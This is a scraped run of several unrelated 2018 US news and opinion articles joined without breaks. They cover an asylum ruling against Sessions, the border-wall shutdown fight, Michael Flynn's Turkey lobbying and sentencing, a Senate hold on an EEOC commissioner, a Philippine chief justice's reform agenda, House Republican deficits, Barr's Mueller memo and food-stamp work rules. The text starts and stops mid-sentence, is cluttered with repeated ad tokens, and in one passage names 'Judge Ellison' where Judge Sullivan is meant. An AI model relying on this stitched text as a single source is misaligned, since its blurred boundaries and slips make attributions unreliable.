not a particular social group because they are defined by their vulnerability to private criminal activity rather than a specific protected trait. He held that these women do not suffer true persecution because persecution is something a government does. Advertisement Advertisement Advertisement Advertisement Advertisement Sessions logic extended to victims of gang violence, since they, too, face persecution from private individuals, not directly from the government. He claimed that affected applicants may only receive asylum status if they demonstrate that their home government condoned violence against them, or demonstrated complete helplessness to stop it. The mere fact that a country may have problems effectively policing certain crimessuch as domestic violence or gang violenceor that certain populations are more likely to be victims of crime cannot itself establish an asylum claim, he wrote. In response to Sessions ruling, the American Civil Liberties Union filed suit in August on behalf of a dozen asylum seekers, mostly women from Central America, fleeing sexual and physical violence. Asylum officers found the asylum seekers stories crediblebut they were still scheduled for expedited removal because asylum officers found they did not have a credible fear of persecution under Sessions new rules. Advertisement On Wednesday, Sullivan rejected Sessions interpretation of the law. He found that there is no legal basis for an effective categorical ban on domestic violence and gang-related claims. Like other asylum-seekers, would-be refugees who bring these claims have a right to a credible fear interview; the attorney general cannot carve out an exception with no basis in the text of the statute. Sullivan then repudiated Sessions cramped definition of persecution. Under federal statute, the judge wrote, a refugee faces persecution if her home government is unable or unwilling to control violence against her. She need not prove that the government refused to help her, an overly stringent standard that Sessions had no power to impose. Advertisement Finally, Sullivan found that victims of domestic abuse and gang violence may receive asylum as members of a particular social group. Not every victim will be permitted to remain in the U.S. But members of social groupssuch as married women trapped in abusive relationshipsmay prove that their government was unable to protect them from violence, thus qualifying them for asylum. And the government must grant all such applicants credible fear interviews to determine who qualifies. Thanks to Sullivans order, asylum seekers denied an interview under Sessions policy will now be allowed to make their case. Advertisement Advertisement Advertisement Advertisement Wednesday is not the first time a federal judge has found that the Trump administration has overstepped its ability to interpret immigration law, crossing over into unlawful policy-making in its campaign to curb immigration. This past summer, a District judge in San Diego ruled that family separation violated immigrants due process rights and ordered that the government reunite families that were separated under Trumps zero tolerance policy. And just this month, the 9th U.S. Circuit Court of Appeals rebuked the administration for its attempt to rewrite a federal statute by denying asylum to immigrants who enter the country without authorization. The court affirmed an earlier decision by U.S. District Judge Jon S. Tigar holding that the new policy was unlawful. Whatever the scope of the presidents authority, Tigar wrote, he may not rewrite the immigration laws to impose a condition that Congress has expressly forbidden. The Trump administration would do well to heed Tigars warning. Over and over again, the president and his allies have tried to deport more asylum applicants by misreading or simply ignoring immigration statutes. These actions are unlawfully capricious, as Sullivan sternly reminded the country on Wednesday. His message is clear: The president and attorney general have no right to manipulate the law to accomplish their nativist agenda. You couldnt write a better ending to the House Republican majority. In the partys swan song before Democrats take control, a bloc of far-right conservatives has persuaded President Trump to threaten a veto of leaderships plan to punt the border wall debate into next year, insisting that the president fight now to get his $5 billion steel slat project. There is no plan. Dozens of members and senators have already flown home. Democrats arent going to give Trump the wall. There is no plan. Advertisement There is no plan. Youve got to give the conservatives credit. They know how to convince Trump that a path exists beyond the dead end. Wednesday, once it became clear that the continuing resolution funding the government until Feb. 8 was leaderships play, conservatives started warning Trump about the effect this would have on his basethe only constituency he is capable of caring about. Advertisement Advertisement Advertisement North Carolina Rep. Mark Meadows, chairman of the Freedom Caucus, warned that the fallout from Trump signing the CR would start Saturday and do major damage to his 2020 re-election bid. (Or everyone would just forget about it five minutes later?) The Freedom Caucus held the floor for 30 minutes Wednesday evening with a dozen members giving speeches insisting that the president resist any deal without wall funding. Advertisement Advertisement Mr. President, were going to back you up, Meadows said. If you veto this bill, well be there. But more importantly the American people will be there. Theyll be there to support you. Lets build the wall and make sure that we do our job in Congress. The right-wing mediasphere, meanwhile, applied the requisite pressure from the outside. Rush Limbaugh said Trump got less than nothing in the bill, while Breitbart called it a cave on the presidents part. Ann Coulter called the president gutless and said she wouldnt vote for him in 2020 without a wall. (Trump appeared to unfollow her on Twitter after some of these remarks.) All of this began to get to the president. Advertisement When I begrudgingly signed the Omnibus Bill, I was promised the Wall and Border Security by leadership. Would be done by end of year (NOW). It didnt happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good! Donald J. Trump (@realDonaldTrump) December 20, 2018 Advertisement Advertisement Advertisement And in the GOP caucus meeting Thursday, Freedom Caucus leaders and a good number of rank-and-file members objected to voting for a bill with no wall funding if they were unsure the president would sign it. They had good reason not to believe he would. Despite Vice President Mike Pence telling Senate Republicans during their Wednesday lunch that the president would sign itprompting the Senate to pass the bill Wednesday night by voice voteMike Pence is not the president. Donald Trump is. Advertisement Advertisement House Speaker Paul Ryan, who really wants to get out of town, got a call from the president during the Thursday morning caucus meeting. He was later summoned to the White House alongside the rest of the House GOP leadership, as well as Meadows and fellow Freedom Caucus member Rep. Jim Jordan. When the group came out, Ryan delivered the news: Trump would not sign the CR and wants his wall money now. President Trump will not sign the bill that would avert a government shutdown, House Speaker Paul Ryan says https://t.co/UM1bjFoXJk Were going to go back and work on adding border security to this, Ryan says. pic.twitter.com/DwctbqmuCH CNN Politics (@CNNPolitics) December 20, 2018 Advertisement Advertisement Advertisement The president also personally informed other vital stakeholders, like Rush Limbaugh, of his position. So what now? House Republicans will likely try to pass a spending bill that does include the presidents request for wall funding (as well as some disaster relief funds that some Southern members have been agitating for). This would be the bill that Democratic leader Nancy Pelosi has said repeatedly Republicans dont have the votes for. Well find out soon enough, but Republicans ranks have been depleted by dozens of retiring members who havent shown up for work this week. Advertisement If that fails, Republicans could say they tried, then pass the clean funding bill and send it to the presidents desk. If, however, the revised bill passes, it would go nowhere in the Senate. The best option for averting a shutdown, at this point, might be overriding a veto, but its hard to imagine that many Republicans openly defying the president. Barring an overridden veto, a shutdown would last as long as Trump maintains his position that he wont sign a bill without his desired wall funding. That could be a couple of days, or it could be a couple of weeks. If its a couple of weeks, then Nancy Pelosi will be in charge of the House, and Trump really, really wont get any wall money. There is no plan. But at least Trump has made Rush Limbaugh happy, for a little while. This piece was originally published on Just Security, an online forum for analysis of U.S. national security law and policy. Michael Flynn may have been working as an unregistered agent of Turkey while serving the United States in an official capacity after all, depending simply on how you define his U.S. position at the time. Significant attention has been placed on Judge Emmet Sullivans apparent assertion and subsequent retraction that Flynn was an unregistered agent while serving as the national security adviser to the president of the United States. Admittedly, theres no evidence in the public record that Flynn was still working as an agent for Turkey after Jan. 20, 2017. Whats missing from current public discussions, however, is that Flynn appears to have continued his work on behalf of Turkey well into the presidential transition after he was the named national security Adviser of the incoming administration and serving the president-elect. Advertisement Advertisement Advertisement Advertisement Supporters of Flynn cant have it both ways. In other matters, they have asserted that senior members of the presidential transition team, including Flynn himself, benefit from the status of quasi, if not veritable, officials. Consider what Flynn supporters say about his status when it comes to the question whether it was inappropriate or illegal for him to have been discussing sanctions and other policies with the Russians in December 2016. In a full throated criticism of Sullivan and in support for Flynn, the Wall Street Journal editorial board wrote: Those talks were legal and normal for a new national security advisor. Think about that. For actions Flynn took in December 2016, the Journal labels him a new national security advisor. Theres some fairness to the argument. Indeed, the finer point of the legal question turn on the meaning of a person acting without the authority of the United States in the terms of the Logan Act. Legal experts, like Just Securitys Steve Vladeck, have written that the spirit of the Logan Act, if not its letter, would not necessarily apply to senior members of a presidential transition team who are helping set policy for the incoming administration. Advertisement Advertisement Add to this side of the equation what else the White House has said about the presidential transition period. The White House counsel, as well as Trumps personal lawyers, have suggested that Congress and Special Counsel Mueller cannot obtain information in the Russia investigation that involves the transition period on the ground that executive privilege, which is generally thought to apply only to a sitting president, can also be asserted on behalf of the president-elect. Advertisement Even if one does not take it as far as the Wall Street Journal or the Trump legal team about the meaning of the transition period, it would be a spectacular revelation if Flynn, while serving in his capacity as the named national security adviser of the incoming administration would also be continuing to work secretly with Turkey. Advertisement Advertisement Advertisement But isnt that what he did? A well-understood part of the Flynn-Turkey timeline is a meeting he held with Turkish officials in Sept. 2016 discussing, in part, removing a U.S. resident, cleric Fethullah Gulen, from the United States into Turkeys custody. The Wall Street Journal broke the story about that meeting in late March 2017. By the time the story broke, Flynn had submitted his forms retroactively filing as a foreign agent of Turkey, but failed to disclose the true purpose of the September meeting. What followed the Sept. 2016 meeting and, more importantly, what followed after the Nov. 2016 elections? According to the recent indictment of Flynns associates, on Nov. 10, Flynns firm sent an invoice to the company that was a conduit for the Turkish government, and received a wired payment of $145,000 on Nov. 14. Flynns firm formally terminated the contract with that company on Nov. 15. The following day, President-elect Trump announced Flynn would be the incoming White House national security adviser. Advertisement Advertisement Advertisement Advertisement As an aside: Flynn reportedly expressed interest in a Cabinet-level appointment, but the transition team decided that Senate confirmation could be difficult in part due to his connections to Turkey, according to a person who spoke on the condition of anonymity to the Washington Post about the internal transition team discussions. Flynn could thus rest easier knowing that he would escape such Senate scrutiny with an appointment as national security advisor. The most important event during the transition came in mid-December 2016, when Flynn held a second meeting with Turkish government representativesaccording to a follow-up story in the Wall Street Journal. In that meeting, Flynn reportedly discussed the idea of he and his son helping to remove Gulen and deliver the cleric to Turkish custody using a private jet. Some of the even-more extraordinary details suggest that plan would have paid the Flynns $15 million. Flynn also was prepared to use his influence in the White House to further the legal extradition of the cleric, according to the Journal. (Indeed, within weeks after the inauguration, the FBI was reportedly tasked to conduct a new review of Turkeys request to extradite Gulen, and federal investigators have reportedly looked into whether Flynn was behind that request.) Advertisement Advertisement NBC News confirmed the Journals report of the December meeting. But perhaps the Journal and NBC got some details wrong, and Flynns December meeting was in an official capacity on behalf of the transition team. The problem with that explanation is that the White House rejected it. We dont have any evidence that such a meeting took place, a White House spokesman told the Journal. And if it did take place it happened notwithstanding the transition. The December 2016 meeting alone would add significant weight to Judge Ellisons criticisms of Flynns behavior. Flynns lawyers denied the reported details of the plot in the December meeting, but I have not seen any indication that they denied the existence of the meeting. I need to register one caveat to this line of analysis. Prosecutors have not included the December meeting in their allegations against Flynn. And although the full transcript of the sentencing hearing with Sullivan has not yet been made available to the public, in at least one exchange, the governments attorney said, the conduct ended, I believe, in mid-November 2016. Advertisement The December 2016 meeting alone would add significant weight to Ellisons criticisms of Flynns behavior. It is worth adding one more piece to this side of the equation. In the weeks before Trumps inauguration, the Obama administrations outgoing national security adviser Susan Rice asked for the incoming teams sign off on a plan, already approved by President Obama, to arm the Syrian Kurds in an assault on Raqqa, ISISs capital in Syria. Much to the Obama officials surprise at the time, Flynn rejected the plan. The government of Turkey had strongly and publicly opposed any plan for the United States to arm the Kurdish forces. It is important to recall that Flynn took this action during the time he had not yet disclosed or registered his work as a foreign agent for the government of Turkey. After Flynn was fired, the Trump administration then decided to arm the Syrian Kurds. Flynns blocking action, in the meantime, had created an operational slowdown in the U.S.-led assault on the vital ISIS stronghold. Advertisement Advertisement Advertisement Advertisement Advertisement McClatchy, which broke the story of Flynns apparent rejection of the plan, reported that some members of Congress privately used the word treason to describe Flynns behavior. Although the legal definition of treason does not apply, it is understandable that colloquial use of the term and other nonlegal terms like traitor or treachery might. At a minimum, Judge Sullivan is not alone in his thinking and there is more evidence in the public record to suggest he was at least half-right about Flynn. More From Just Security: Protesters in Hungary Call Out Labor Rightsand Rule of Law Not Mere Process Crimes, False Statements Prosecutions Are Serious This piece was originally published on Just Security, an online forum for analysis of U.S. national security law and policy. On Tuesday, former national security adviser Michael Flynn appeared before Judge Emmett Sullivan for sentencing in the Russia investigation. Entering the hearing, Flynn walked an ill-advised tightrope between claiming that he had completely and utterly cooperate[d] with the Russia investigation and implying to the judge that federal agents had tricked him into lying. Sullivan had little tolerance for Flynns position, warning Flynn that he might be sentenced to prison and inviting him to try to give additional cooperation to the government to avoid that fate. In order to avoid prison, Flynn and his attorneys had little choice but to ask for a delay of the sentencing hearing in order to demonstrate further cooperation. Still, there is little chance that circumstances will change for Flynn. Had the government wanted or expected significant additional cooperation from him, it would not have proceeded to sentencing in the first place. Advertisement Advertisement Advertisement Advertisement Cooperators present the government with a complicated problemthey are usually participants in a criminal act; they have often already lied to law enforcement; and the government has to not only corroborate that they are reliable, it has to ensure that they remain cooperative. The great incentive to cooperation is the potential for a reduction in a sentence for a cooperator. Although many defense attorneys and activists concerned about the coercive power of the state bristle at sentencing reductions for cooperation, the policy recognizes two things. First, it is based in the belief that wrong doers should be rewarded for taking responsibility for their actions. Second, since litigation is supposed to be a search for the truth, adverse parties who surrender their rights in service to the truth should be rewarded. In criminal cases, the benefits of cooperation manifest themselves in two separate placesSection 5K1.1 of the federal Sentencing Guidelines and a sentencing reduction pursuant to Rule 35 of the Federal Rules of Criminal Procedure. Advertisement Advertisement The difference between these two provisions is one of timingRule 35 motions occur after a defendant has already been sentenced and usually must be filed within a year of sentencing. The government files 5K1.1 motions at the time of sentencing. Although this is an earlier stage of a criminal proceeding, 5K1.1 motions provide the parties with greater opportunities. Since sentencing could theoretically be postponed indefinitely, so can a 5K1.1 motionproviding the government and the defendant with greater flexibility than a Rule 35 motion. Both motions are merely requests for the court to reduce the defendants sentence either from the sentence imposed (in a Rule 35 motion) or from the sentence recommended by the guidelines (in a 5K1.1 motion). Advertisement Advertisement To ensure that the defendant fully cooperates and to be able to provide the judge with a complete account of his or her cooperation, prosecutors usually wait until the cooperation is complete and all potential co-defendants have been sentenced before they proceed to sentencing the cooperator. Because a defendants sentencing reduction is often predicated on the significance of his or her cooperation with the government, defense attorneys also often seek to postpone sentencing of cooperators so as to put their clients in the best position possible by describing the full extent of their cooperation. Advertisement Advertisement Which brings us to Michael Flynn. Flynn entered sentencing on Tuesday, a day after the government indicted his business associates for illegal foreign lobbying. In most cases, had Flynn worried that he needed to show greater cooperation with the government in order to avoid jail time, he would have sought to postpone his sentencing. Since judges dockets are full and no one wants to waste a federal courts time, that would usually not occur in a dramatic in-court hearing like it did. Rather, it would have taken the form of a written motion filed prior to the sentencing hearingeven with the quick turnaround required by this case. Similarly, had the government expected more cooperation from Flynn and wanted to ensure his truthfulness, it also would have sought to postpone the sentencing in advance of the hearing itself. Advertisement Advertisement Advertisement Advertisement Neither of those things happened, which leads to two conclusions. First, the judge spooked Flynn and made him worried that he was going to get prison time. Flynn, who was facing a judge who has been very tough on prosecutors in the past, likely believed that whatever cooperation he gave was sufficient to ensure that he faced no jail time. Otherwise, he would have sought to postpone the hearing in advance, pending his cooperation with the illegal lobbying case. Unfortunately for him, the second takeaway is that the government is most likely finished with Michael Flynn. Indeed, when Flynns attorney says that the illegal lobbying cases is the only area in which there is anything left to give, he is probably speaking the truth and even that seems paltry. If Mueller were following the general prosecutorial playbook to leverage maximum cooperation, as his history as a prosecutor would indicate, he would have sought to postpone Flynns sentencing if he thought he needed him more. Advertisement Advertisement Similarly, had the U.S. Attorneys Office in the Eastern District of Virginia wanted Flynns help for the illegal lobbying case, it would have likely worked with the special counsels office to postpone the sentencing hearing. Although Flynns son may have criminal exposure as well, it is unlikely that the government is holding that in its pocket to promote Flynns continued cooperation. The government is required to memorialize all benefits that it gives cooperators and disclose those to any trial defendants so that they can use them for cross-examination. Using children as poker chips is such an unsavory tactic, it could sink a criminal trial, and prosecutors are loath to employ it. Indeed, there is no indication that the Justice Department and Flynn have come to an agreement on his son. Advertisement Advertisement While there are other safeguards to help ensure Flynn is honest if he is ever called to testify, the lack of a final sentence is the most powerful leverage Muellers team has to prevent further deception. This was a leverage that the prosecutors were willing to forgo in order to sentence Flynn on Tuesday. Indeed, it is instructive that Muellers team recommended no jail time for Flynn pursuant to 5K1.1 and openly stated that he had provided substantial assistance to the government. That is language usually reserved for a final assessment of a defendant. If Flynn had proceeded to sentencing but was still expected to provide additional cooperation, the government would usually wait on such a recommendation and make a motion at a later date pursuant to Rule 35. The only conclusion is that they dont think they need him anymore at least not for anything big. Michael Flynn asked to delay his sentencing after the judge had excoriated him because he seemed to have no good options. Regrettably for him, he still doesnt. More From Just Security: Trumps Bookkeeper: How Prosecutors Could Easily Prove Tax Crimes for Hush Money Reimbursements The Most Extraordinary Lesson of Two New Reports on Russian Disinformation: What They Reveal About White House Paralysis Vox reported on Monday that Utah Sen. Mike Lee is blocking the reconfirmation of the Equal Employment Opportunity Commissions first openly gay member, threatening to deny the agency a quorum and hobble its operations. Why? Because the commissioner, Chai Feldblum, is an advocate for LGBTQ equality and wrote a law review article that Lee is willfully misinterpreting as a declaration of war on anti-gay Christians. The EEOC interprets and enforces federal civil rights laws. Its made up of five commissionersthree from the presidents party, two from the opposing partyand requires three commissioners for a quorum. Without a quorum, the EEOC can still file lawsuits on behalf of plaintiffs who faced discrimination that the agency has already determined to be illegal. But, crucially, its members may not issue new decisions construing nondiscrimination laws. Advertisement Advertisement Advertisement Advertisement President Barack Obama placed Feldblum on the EEOC on 2010 through a recess appointment, and she received Senate confirmation later that year. The Senate confirmed her again in 2013, and her current term expires on Dec. 31 at midnight. Typically, EEOC nominees are confirmed together; President Donald Trump nominated Janet Dhillon and Daniel Gade, both Republicans, to be voted upon alongside Feldblum. If confirmed, Dhillon and Gade will give Republicans a 32 majority on the commission. But Lee is holding up all three nominees: Since theyre slated to be confirmed as a package, the nominations must obtain unanimous consent, and by withholding his vote, Lee has blown up the process. His opposition is not entirely surprising. Conservative activists have condemned Feldblum in the American Conservative (an enemy of religious liberty), the Heritage Foundations Daily Signal (a radical nominee), the Daily Wire (Trumps worst federal nomination), the Blaze (radical activist against religious freedom), and elsewhere. Led by the anti-LGBTQ Family Research Council, right-wing advocacy groups have condemned Trumps re-nomination of Feldblum. (The FRC previously maligned Feldblum by crediting her with the statement Gays win; Christians lose, which she never said.) In a statement, Lee echoed these criticisms, alleging that Feldblum has radical views on marriage and the appropriate use of government power that would lead her to use the might of government to stamp out traditional marriage supporters. Advertisement Advertisement Advertisement Feldblum has responded to these critiques in two Medium posts, asserting that her critics have warped her words to depict her as a militant anti-religious bigot. The posts swat down the canard that she is hostile to religion: My father was an Orthodox Jewish Rabbi, she wrote, and I grew up in a home in which religion and God were the defining aspects of our daily lives. But more importantly, Feldblum took aim at the distortion of her landmark 2006 law review article, Moral Conflict and Liberty: Gay Rights and Religion. Advertisement Advertisement Critics have universally painted this article as a broadside against anti-LGBTQ Christians. Lee alleged that in it, Feldblum described the conflict between LGBT Americans and religious Americans as a zero-sum game. According to Lee, Feldblum wrote that no individual exceptions based on religious beliefs should ever be allowed if they conflict with the goal of liberty for gay people. Advertisement This characterization of Feldblums article is so dishonest, so plainly incorrect, that I am not convinced Lee (or the staffer who wrote this press release) actually read it. The article is often cited as a conciliatory approach to the ostensible clash between religious freedom and gay equality. Indeed, Feldblums key point is that too many progressives underestimate the burdens that nondiscrimination laws may impose upon Christians. She chided judges who downplay the burden on religious people who are forced to engage in certain conduct and insisted that government should err on the side of accepting allegations that a certain law burdens religious exercise. Advertisement Advertisement Feldblum went on to declare her belief that once individuals choose to enter the stream of economic commerce by opening commercial establishments, I believe it is legitimate to require that they play by certain rules. Specifically, she wrote that most businesses should not be able to claim a religious exemption from LGBTQ nondiscrimination laws. But Feldblum noted that these laws do place a real burden on religious business owners, and their proponents should be forced to articulate why such a burden is appropriate. Advertisement Advertisement Finally, Feldblum wrote that certain religious businesses should receive a limited exception to civil rights statutes that protect LGBTQ people. There are enterprises that are engaged in by belief communities that are specifically designed to inculcate values in the next generation, she explained. These may include schools, day care centers, summer camps and tours. These enterprises are sometimes for-profit and sometimes not-for-profit. Legislatures should allow these enterprises to engage in discrimination when they demonstrate that treating LGBTQ people equally would violate the tenets of their faith. Feldblum also wrote that hospitals, gyms, adoption agencies and drug treatment centers run by religious institutions should be permitted to engage in LGBTQ discrimination in the hiring of leadership positionseven if they receive governmental funds. Advertisement Advertisement Is any of this radical? Of course notit is an expression of a very mainstream view about the proper contours of nondiscrimination laws. Yet Lee et al. have warped Feldblums words to paint her as a radical determined to stamp out anti-LGBTQ beliefs. Feldblum will not be able to spark any legal revolutions once she is in the minority. This campaign is extremely stupid for two additional reasons. First, Lees blockade will prevent Trump from flipping the EEOC to a Republican majority, a long-held GOP goal. Second, it will not keep Democrats off the commission: By law, it must have two, so if Feldblum is withdrawn, she will be replaced by a nominee who likely shares her views. Perhaps Lees goal is simply to kneecap the EEOC by denying it a quorum. But that, too, seems asinine. Absent a quorum, the EEOCs current rules will remain in place, and its lawyers will continue to enforce them. That includes a policy that federal law already prohibits workplace discrimination against LGBTQ people. If Lee wants to roll back the agencys progressive decisions, hell need to confirm Trumps two Republican nominees. That means voting for Feldblum, too. Advertisement I understand why conservatives are afraid of Feldblum. She is the intellectual godmother of the theory that federal prohibitions on sex discrimination protect LGBTQ people, which has already been adopted by two federal appeals courts. She is a one-woman legal powerhouse who helped enshrine equal dignity for LGBTQ people into law. She has worked closely with her Republican colleagues on the commission to crack down on sexual and racial harassment in the workplace. She is, in short, a very effective EEOC commissioner, which frustrates Republicans who think the agency has too much power. But Feldblum will not be able to spark any legal revolutions once she is in the minority. By law, Trump has an opportunity to tilt the EEOC to the right, and he has apparently concluded that reconfirming Feldblum will not stand in the way of that goal. Lees crusade to put her out of a job is rooted in mendacity and lacks practicality. A scholar and public servant of Feldblums stature deserves better than this harebrained stab at character assassination. Chief Justice Lucas P. Bersamin Chief Justice Lucas P. Bersamin has unveiled his four-point agenda for the judiciary, which include the updating of the Rules of Court, purging the bench of misfits and scalawags and the adoption of legal clinics to enhance access to justice. During a testimonial dinner tendered by the Pontifical and Royal University of Santo Tomas early this week, Bersamin said that he would like to update our procedural rules to make them embody and be attuned to the technological developments.Aside from adjudication, Bersamin said updating the rules is a very basic, if not the other important function of the Court under the Constitution. Bersamin said that he will make the judicial system responsive to the public need for quick dispensation of justice. He admitted that the Rules of Court still contains provisions that institutionalize delay. Bersamin also vowed to cleanse the judicial ranks and institutionalize changes that are designed to expedite the administration of justice. I will purge the Judiciary of misfits and scalawags and enforce the rules of discipline, he said. The chief justice made the commitment after noting that in the provinces, there is a very strong perception that justice is only for the strong, the influential and the wealthy. Those judges and employees in the provinces who have contributed to this wrong perception about the Judiciary will have to go, Bersamin warned. He issued a marching order to Court Administrator Jose Midas P. Marquez, who was also present during the dinner, to start with my home province of Abra.That is a marching order no matter if they are my relatives or not. I am sure that you know what I mean, Bersamin said. Bersamin also said he will initiate reforms in the Bar exams, even as he urged the law deans to study the Pass/Fail approach, which is being practiced in the United States instead of grading the exams and having topnotchers. The top magistrate also vowed to enhance participation of law students in extending legal aid to the poor and the underprivileged. He said that the countrys law schools could improve legal education by probably adopting in a modified manner the best practices abroad. Bersamin added that while that there are existing legal aid program by the law schools, this will be about legal clinics as a method of education and, at the same time, extending legal aid to the poor and underprivileged. Bersamin said that he would like to adopt the best practices abroad on the legal clinic to improve the quality of legal education and ensure access to justice. He said that it was probably high time for all the deans in the Philippines to sit down and discuss this approach and encouraged UST to lead the way. Calling himself a Thomasian by blood, having taught at the UST from 2001-2006, he appealed to UST to support him on his visions. Because I mean to start this very soon and very quickly. Join me in this effort because it is worthwhile, he said. The testimonial dinner was attended by the Dominican priests, Supreme Court officials, justices, judges, law school deans, and UST law faculty members. In 2009, House Republicans went hat-in-hand to the American people begging for another chance. After squandering their majority status in the George W. Bush years and getting creamed at the polls in 2006 and 2008, they promised voters that they would do better next time. Specifically, they pledged that they wouldnt send deficits soaring again. GOP Reps. Eric Cantor, Paul Ryan, and Kevin McCarthy knew that if they wanted the public to take their criticisms of early Obama administration spending even remotely seriously, an apology for past recklessness was necessary. So in their 2010 book Young Guns, the co-authors conceded the GOPs previous failures to rein in spending or even slow the growth of government during the early and mid-2000s. Ryan, in an interview around the books release, insisted that Republicans need to do a better job on fiscal issues than they did during their previous majority, while Cantor said that weve got an opportunity to learn from the mistakes that our party made. House Republicans called their 2010 campaign platform the Pledge to America, and promised, if elected, to cut $100 billion in spending in the first year and to establish strict budget caps to limit federal spending from this point forward. Advertisement Advertisement Advertisement Advertisement The begging worked. House Republicans rode the wave to a 63-seat pickup and a return to the majority in the 2010 midterms. This is a second chance for us, Cantor told CNN the day after the election. If we blow it again, we will be in the wilderness for a very long time. We have to deliver. That second chance officially ends in January. Thats when House Democrats return to the majority, and when the Republicans who pledged and promised and pinkie swore to rein in spending will leave with much the same fiscal record as their 1995 to 2007 predecessors: effective both at blocking a Democratic administration from spending (Clinton, Obama) and facilitating the recklessness of a Republican administration (Bush, Trump). Advertisement There are many things for which well remember the 2010 to 2018 GOP House majority. It stopped the Obama administrations legislative agenda cold. Smoothness of operation was never its forte, as constant standoffs between leaders and far-right factionalists made it the most dramatic party conference in the Capitol. And its dogged and frequently conspiratorial oversight of the Obama administration was surpassed only by its subservience to the Trump administration. But nothing was more telling about this majority than the way it dismissed the issue it rode in on as soon as Trump replaced Obama. So before House Republicans come apologizing again for their past mistakes and begging for another chance, its important to emphasize right now: Republican have not, do not, and will not care about deficit reduction except as a rhetorical ploy for stymieing a Democratic government. Advertisement Advertisement Advertisement The central Tea Party policy victory of the Obama era was the 2011 Budget Control Act, the resolution to that summers tense debt limit standoff. In addition to some upfront cuts, the law established a bipartisan super committee to develop a deficit-reduction plan. If the super committee couldnt agree on anything, a process called sequestration would indiscriminately apply spending cuts across the next decade to both defense and nondefense spending. The super committee, obviously, couldnt agree on anything, and sequestration went into effect. Under Obama, Congress reached two budget agreements in 2015 and 2017 that provided some relief to the cuts (albeit with offsets elsewhere), but didnt eliminate them. Advertisement Advertisement Republican have not, do not, and will not care about deficit reduction except as a rhetorical ploy for stymieing a Democratic government. To me, then, the defining moment of this Congress was when House Republicans decided to effectively eliminate the Tea Partys deficit-reduction law once the White House switched from Democratic to Republican control. The 2018 budget deal increased spending by about $300 billion, without offsets, over two years. House Republicans would have treated such a budget as the actual apocalypse had it been negotiated with Barack Obama. Under the unified Republican government, though, it was framed as rebuilding the military and received 167 Republican votes. Advertisement Advertisement Advertisement Advertisement Speaker Paul Ryan has been touting rebuilding the military as one of his two great accomplishments during his recent, mostly ignored legacy tour. Ryans other great accomplishment, of course, was the Tax Cuts and Jobs Act, a $1.5 trillion bill offering temporary tax cuts for individuals and permanent tax cuts for corporations. (When those temporary tax cuts are made permanent, as they eventually will be, the cost will be much higher.) The tax reform plan was originally supposed to be revenue-neutrali.e., not contributing to the deficitbut Republicans gave up on that once it became too difficult. The sum total of these moves is that the government is projected to reach a deficit of $973 billion in fiscal 2019, in a low-unemployment economy. Trillion-dollar deficits are on the horizon for as far as the eye can see. Advertisement Though Ryan, as speaker, deserves ultimate accountability for these choices, this isnt really about him. He would have happily fulfilled his Obama-era promises to cut Medicare, Medicaid, and Social Security had the will of the House, the Senate, and the president been there with him. But they werent because thats not what Republicans do when they have full control of the government. What they do, instead, is avoid politically difficult spending cuts, boost spending for programs that help their constituencies, and comfort the comfortable with tax cuts. Advertisement Advertisement The lesson here is not that deficits are evil and that the next House Republican majority needs to get serious about them. (That will not happen because, as Ive noted, they do not care about deficits.) The lesson is for Democrats to not let Republicans deficit hand-waving guide their choices ever again. Advertisement Republicans have been savvy in getting Democratic leaders and the Sunday-morning-show circuit to take their deficit routine seriously. Debt fears limited how big Democrats were willing to go with a stimulus package in early 2009. The same anxiety compelled Democrats to fully offset the Affordable Care Acts cost, as if they might get either Republican votes or plaudits for doing so. They got neither, and Republicansincluding Ryan himselfspent years attacking Democrats for the offsets they chose. Debt panic convinced Obama, in 2011, that he needed to negotiate with Tea Party Republicans ahead of a debt ceiling increase, and to consider Social Security cuts. Democrats should not take these Republican protestations seriously anymore. The Republicans certainly dont. Advertisement Roughly five seconds after Nancy Pelosi takes the gavel on Jan. 3, House Republicans, as if struck by epiphany, will turn to each other and say, Good GOD, have you noticed the debt?! If a Democrat takes the White House in 2020, every elected Republican in Washington will break down sobbing over the projected fiscal 2021 deficit, right there on the inaugural platform as soon as the oath of office is complete. Democrats can either let them get away with it or not. But if theres one thing of which you can be certain, its that Republicans wont be in the wilderness for a very long time, as Cantor predicted in 2010. The whole government will be theirs again at some point, maybe even in two years. And when it is, their top concern will be the ridiculously high, needlessly punitive 21 percent corporate tax rate on job creators. The legacy, then, is not that Republicans failed to do what they said they would. Its that their routine works. President Trumps pick for attorney general, William Barr, was critical of the Mueller investigation in a memo to the Justice Department earlier this year, describing the inquiry into possible obstruction of justice by the president fatally misconceived, the Wall Street Journal reported Wednesday. In the June 8th memo, Barr couched his thoughts as a former official whose views may be useful, but, now, as the former attorney general at the tail end of the George H.W. Bush presidency is set to again take over the Justice Department, and likely the Mueller investigation as well, those views could decide the future course of the Russia investigation. Advertisement The 20-page document, the Journal notes, is the first look into Barrs thinking on the most important and controversial decision hell likely make as attorney generalthe future of the Mueller investigation. In the memo, Barr admits hes in the dark about many factsMueller has not provided much information about the direction of the investigationbut goes on to assail Muellers legal reasoning as grossly irresponsible with potentially disastrous implications for the executive. Barr argued in the memo that a president can be accused of obstructing justice under the relevant legal provision if he knowingly destroyed evidence or encouraged a witness to lie, according to the Journal. But Mr. Trump was lawfully exercising his authority in firing Mr. Comey, he wrote. If prosecutors pursue Mr. Trump over his comments to Mr. Comey about Mr. Flynn, according to the memo, it opens the door for every decision that is alleged to be improperly motivated to be investigated as potential criminal obstruction. Advertisement Advertisement Advertisement Advertisement Advertisement Barrs memo was sent to Deputy Attorney General Rod Rosenstein and Steven Engel, head of the Justice Departments Office of Legal Counsel, but the pair did not circulate the memo widely nor share it with Trump or Mueller, according to the Journals reporting. The fact that Trump wasnt aware of the memo when selecting Barrthough Barr says he mentioned it after being offered the jobwill likely help the president get his attorney general confirmed by calming fears he was using potential hires views on Mueller as a litmus test for the next leader of the DOJ. Hours before President Trump is set to sign an $870 billion farm bill funding the nations agricultural and food assistance programs, the U.S. Department of Agriculture announced that it plans to narrow the conditions in which states can issue waivers for food stamp work requirements. Its a move that would likely affect hundreds of thousands of recipients. According to the Washington Post, current USDA regulations allow states to waive work requirements in areas where the unemployment rate is at least 20 percent greater than the national rate. Under the USDAs proposal, states can only waive the requirement in areas where unemployment is above 7 percent. According to the Post, as of 2016, about 755,000 unemployed, able-bodied recipients without dependents lived in areas that could lose eligibility. Advertisement Advertisement Advertisement Advertisement Agriculture Secretary Sonny Perdue told reporters Thursday that the move was a common-sense one, and a rule that made particular sense with the countrys 